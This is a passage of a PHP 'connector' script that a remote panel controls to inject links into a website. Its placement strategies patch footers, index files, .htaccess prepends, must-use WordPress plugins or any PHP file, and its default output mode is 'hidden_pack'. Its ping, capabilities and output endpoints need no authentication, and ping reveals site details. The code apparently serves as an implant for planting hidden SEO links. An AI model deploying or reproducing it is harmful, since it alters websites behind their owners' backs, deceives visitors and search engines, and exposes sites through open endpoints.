'success' => (bool)$ok,
'message' => $msg,
]);
if ($ok) {
$config['placement'] = [
'status' => 'installed',
'strategy' => $strategyName,
'target' => $target,
'install_mode' => $mode,
'marker' => $marker,
'message' => $msg,
'installed_at' => $config['placement']['installed_at'] ?: $nowIso,
'last_attempt_at' => $nowIso,
'last_verified_at' => $nowIso,
'verify_status' => 'installed',
'history' => $config['placement']['history'],
];
save_config($config);
refresh_current_placement($config);
$links = load_links();
foreach ($links as $id => $row) {
$links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
}
save_links($links);
return [true, $config, ['verified' => false, 'message' => $msg]];
}
}
$config['placement']['status'] = 'failed';
$config['placement']['last_attempt_at'] = gmdate('c');
$config['placement']['message'] = 'no_strategy_succeeded';
save_config($config);
return [false, $config, ['verified' => false, 'message' => 'no_strategy_succeeded']];
}
function placement_report_payload() {
$config = load_config();
$siteInfo = detect_site_info();
$links = load_links();
$stats = get_link_stats($links);
list($ok, $verifyMessage) = verify_current_placement($config);
$config['placement']['last_verified_at'] = gmdate('c');
$config['placement']['verify_status'] = $verifyMessage;
save_config($config);
return [
'version' => CONNECTOR_VERSION,
'site_info' => $siteInfo,
'placement' => $config['placement'],
'link_stats' => $stats,
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'placement_ok' => $ok,
];
}
function verify_links_action() {
$links = load_links();
$config = load_config();
$nowIso = gmdate('c');
foreach ($links as $id => $row) {
$row['last_verified_at'] = $nowIso;
$links[$id] = apply_placement_snapshot_to_link($row, $config['placement']);
}
save_links($links);
return placement_report_payload();
}
function clear_expired_links() {
$links = load_links();
$active = [];
$removed = [];
$now = time();
foreach ($links as $id => $row) {
$expiresAt = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
if (!empty($expiresAt) && $expiresAt > 0 && $expiresAt < $now) {
$removed[] = $id;
continue;
}
$active[$id] = $row;
}
save_links($active);
refresh_current_placement(load_config());
return [$active, $removed];
}
function self_reconcile_action() {
$links = load_links();
$merged = [];
$removedDuplicates = 0;
foreach ($links as $row) {
$id = build_deterministic_link_id($row['url'], $row['anchor'], $row['rel']);
if (isset($merged[$id])) {
$removedDuplicates++;
$existingExp = isset($merged[$id]['expires_at']) ? intval($merged[$id]['expires_at']) : 0;
$incomingExp = isset($row['expires_at']) ? intval($row['expires_at']) : 0;
if ($incomingExp > $existingExp) {
$merged[$id]['expires_at'] = $incomingExp;
}
if (!empty($row['render_types'])) {
$merged[$id]['render_types'] = filter_render_types(array_merge($merged[$id]['render_types'], $row['render_types']));
}
} else {
$row['id'] = $id;
$merged[$id] = $row;
}
}
save_links($merged);
list($active, $expiredRemoved) = clear_expired_links();
list($ok, $config, $placement) = ensure_render_delivery(false);
return [
'reconciled' => true,
'placement_ok' => $ok,
'removed_duplicate_entries' => $removedDuplicates,
'removed_expired_entries' => count($expiredRemoved),
'placement' => placement_report_payload(),
];
}
if (defined('ROOTSEO_CONNECTOR_EMBED_RENDER') && ROOTSEO_CONNECTOR_EMBED_RENDER === true) {
echo rootseo_render_links_html();
return;
}
$req = get_request_data();
$action = get_action_name($req);
if (!in_array($action, ['ping', 'capabilities', 'output'], true)) {
authenticate_protected_request();
}
switch ($action) {
case 'ping':
$links = load_links();
$config = load_config();
$stats = get_link_stats($links);
$siteInfo = detect_site_info();
list($placementOk, $verifyMessage) = verify_current_placement($config);
respond(true, [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_name' => $siteInfo['site_name'],
'site_type' => $siteInfo['site_type'],
'language' => $siteInfo['language'],
'country' => $siteInfo['country'],
'version' => CONNECTOR_VERSION,
'keyless' => true,
'auth_mode' => 'panel_token',
'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack'))),
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'links_total' => $stats['total'],
'links_active' => $stats['active'],
'links_expired' => $stats['expired'],
'footer_detected' => $siteInfo['footer_detected'],
'footer_writable' => $siteInfo['footer_writable'],
'placement_ok' => $placementOk,
'placement_strategy' => $config['placement']['strategy'],
'placement_target' => $config['placement']['target'],
'placement_verify_status' => $verifyMessage,
'supports' => ['add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'output']
], 'ok');
break;
case 'capabilities':
respond(true, [
'version' => CONNECTOR_VERSION,
'auth' => ['panel_token', 'optional_replay_headers'],
'rels' => ['dofollow', 'nofollow', 'ugc', 'sponsored'],
'render_types' => default_render_types(),
'placement_strategies' => ['wp_mu_plugin', 'wp_functions_hook', 'footer_patch', 'wp_active_footer', 'index_patch', 'htaccess_prepend', 'any_php_file'],
'limits' => [
'max_links_per_sync' => MAX_LINKS_PER_SYNC,
'max_anchor_length' => MAX_ANCHOR_LENGTH,
'max_url_length' => MAX_URL_LENGTH,
'max_request_bytes' => MAX_REQUEST_BYTES,
],
'actions' => ['ping', 'capabilities', 'info', 'diagnose', 'verify_links', 'self_reconcile', 'placement_report', 'add_link', 'remove_link', 'get_links', 'sync_links', 'clear_links', 'clear_expired', 'output']
], 'capabilities');
break;
case 'info':
respond(true, detect_site_info(), 'info');
break;
case 'diagnose':
$siteInfo = detect_site_info();
$links = load_links();
$stats = get_link_stats($links);
$config = load_config();
list($placementOk, $verifyMessage) = verify_current_placement($config);
$diag = [
'version' => CONNECTOR_VERSION,
'file_permissions' => [
'links_file' => LINKS_FILE,
'links_file_exists' => file_exists(LINKS_FILE),
'links_dir_writable' => is_writable(dirname(LINKS_FILE)),
'config_file' => CONFIG_FILE,
'config_file_exists' => file_exists(CONFIG_FILE),
'config_dir_writable' => is_writable(dirname(CONFIG_FILE)),
'nonces_file' => NONCES_FILE,
'nonces_file_exists' => file_exists(NONCES_FILE),
'prepend_helper_file' => PREPEND_HELPER_FILE,
'prepend_helper_exists' => file_exists(PREPEND_HELPER_FILE),
],
'link_stats' => $stats,
'output_mode' => strtolower(trim((string)($config['output_mode'] ?? 'hidden_pack'))),
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'placement' => $config['placement'],
'placement_ok' => $placementOk,
'placement_verify_status' => $verifyMessage,
'site_info' => $siteInfo,
'php_settings' => [
'php_version' => phpversion(),
'allow_url_fopen' => ini_get('allow_url_fopen'),
'open_basedir' => ini_get('open_basedir') ?: 'not_set',
'max_execution_time' => ini_get('max_execution_time'),
],
'recommendations' => [],
];
if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
respond(true, $diag, 'diagnose');
break;
case 'get_links':
$links = load_links();
$stats = get_link_stats($links);
respond(true, [
'links' => array_values($links),
'total' => $stats['total'],
'active' => $stats['active'],
'expired' => $stats['expired'],
'placement' => load_config()['placement'],
'render_types' => load_config()['render_types'],
], 'links');
break;
case 'add_link':
$url = validate_url_value($req['url'] ?? '');
$anchor = validate_anchor_text($req['anchor'] ?? '');
$rel = normalize_rel($req['rel'] ?? 'dofollow');
$expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
$config = load_config();
$existingLinks = load_links();
$backup = $existingLinks;
$linkId = validate_link_id($req['id'] ?? '');
if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
$row = [
'id' => $linkId,
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => $expiresAt,
'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
'updated_at' => time(),
'render_profile' => $config['render_profile'],
'render_types' => $config['render_types'],
'cleanup_status' => 'active',
];
$existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
save_links($existingLinks);
list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
if (!$ok) {
save_links($backup);
respond(false, [
'link_id' => $linkId,
'injected' => false,
'placement_report' => placement_report_payload(),
], 'placement_install_failed', 500);
}
$finalLinks = load_links();
$finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
respond(true, [
'link_id' => $linkId,
'injected' => true,
'render_types' => $finalRow['render_types'],
'placement_strategy' => $newConfig['placement']['strategy'],
'placement_target' => $newConfig['placement']['target'],
'placement_report' => placement_report_payload(),
], 'link_added');
break;
case 'remove_link':
$linkId = validate_link_id($req['link_id'] ?? '');
if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
$links = load_links();
if (isset($links[$linkId])) {
unset($links[$linkId]);
if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
refresh_current_placement(load_config());
}
respond(true, ['removed' => true, 'placement_report' => placement_report_payload()], 'link_removed');
break;
case 'sync_links':
$incoming = $req['links'] ?? [];
if (is_string($incoming)) {
$decoded = json_decode($incoming, true);
if (is_array($decoded)) $incoming = $decoded;
}
if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
$config = load_config();
$current = load_links();
$backup = $current;
$final = [];
$added = 0;
$removed = 0;
$unchanged = 0;
foreach ($incoming as $row) {
if (!is_array($row)) continue;
$url = validate_url_value($row['url'] ?? '');
$anchor = validate_anchor_text($row['anchor'] ?? '');
if ($url === '' || $anchor === '') continue;
$rel = normalize_rel($row['rel'] ?? 'dofollow');
$id = validate_link_id($row['id'] ?? '');
if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
$normalized = normalize_link_row($id, [
'id' => $id,
'url' => $url,
'anchor' => $anchor,
'rel' => $rel,
'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
'updated_at' => time(),
'render_profile' => $config['render_profile'],
'render_types' => $row['render_types'] ?? $config['render_types'],
], $config);
$normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
if (!isset($current[$id])) {
$added++;
} else {
$before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
$after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
if ($before === $after) $unchanged++;
}
$final[$id] = $normalized;
}
foreach ($current as $id => $row) {
if (!isset($final[$id])) $removed++;
}
save_links($final);
list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
if (!$ok) {
save_links($backup);
respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
}
respond(true, [
'total' => count($final),
'added' => $added,
'removed' => $removed,
'unchanged' => $unchanged,
'placement_strategy' => $newConfig['placement']['strategy'],
'placement_target' => $newConfig['placement']['target'],
'placement_report' => placement_report_payload(),
], 'synced');
break;
case 'clear_links':
if (!save_links([])) respond(false, [], 'links_write_failed', 500);
refresh_current_placement(load_config());
respond(true, ['cleared' => true, 'placement_report' => placement_report_payload()], 'links_cleared');
break;
case 'clear_expired':
list($activeAfter, $expiredRemoved) = clear_expired_links();
respond(true, [
'cleared' => count($expiredRemoved),
'remaining' => count($activeAfter),
'placement_report' => placement_report_payload(),
], 'expired_links_cleared');
break;
case 'verify_links':
respond(true, verify_links_action(), 'verified');
break;
case 'placement_report':
respond(true, placement_report_payload(), 'placement_report');
break;
case 'self_reconcile':
respond(true, self_reconcile_action(), 'reconciled');
break;
case 'output':
header('Content-Type: text/html; charset=UTF-8');
echo rootseo_render_links_html();
exit;
default:
respond(false, [], 'unknown_action', 404);
}